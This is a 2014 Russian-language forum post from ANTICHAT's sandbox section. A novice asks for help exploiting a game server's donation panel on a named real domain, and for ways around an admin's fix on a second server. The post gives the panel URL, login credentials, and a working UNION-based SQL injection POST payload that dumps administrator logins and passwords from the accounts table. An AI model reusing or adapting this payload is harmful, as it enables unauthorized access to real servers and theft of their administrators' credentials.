HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Песочница
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 13.03.2014, 14:55
n1k3
Новичок
Регистрация: 13.11.2013
Сообщений: 12
Провел на форуме:
3799

Репутация: 0
По умолчанию

Привет! Нужно воспроизвести старую уязвимость донат панели только не через мазилу с хакбаром , показать другой способ аналогичный этому только в другом браузере,ну или подскажите что еще можно вытащить с этой панели)

P.S. Есть такая же панель на другом сервере,но с мозилы не могу залогинится на нее, админ поставил фикс какой то,я в этом очень плохо разбираюсь,прошу у вас помощи желательно по подробнее,я в этом нуб!

Буду очень признателен за помощь!

ПАНЕЛЬ для теста

акк:painel пасс:painel

Опишу баг еще раз т.к. его удалили с форума.(для мазилы через хакбар)

1. Логинимся в донат панель

2. В верхнюю строчку Хакбара вставляем следущее : http://l2kof.net/donate/painel.php?page=comprar_item

3. В Пост Дата вставляем :items[] =99999 union select 1,2,concat_ws(0x3a,login,password),4,5,6,7,0x69746 56D73 from accounts where access_level=1#

4. В столбце Qtd получаем акк и пасс админа
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.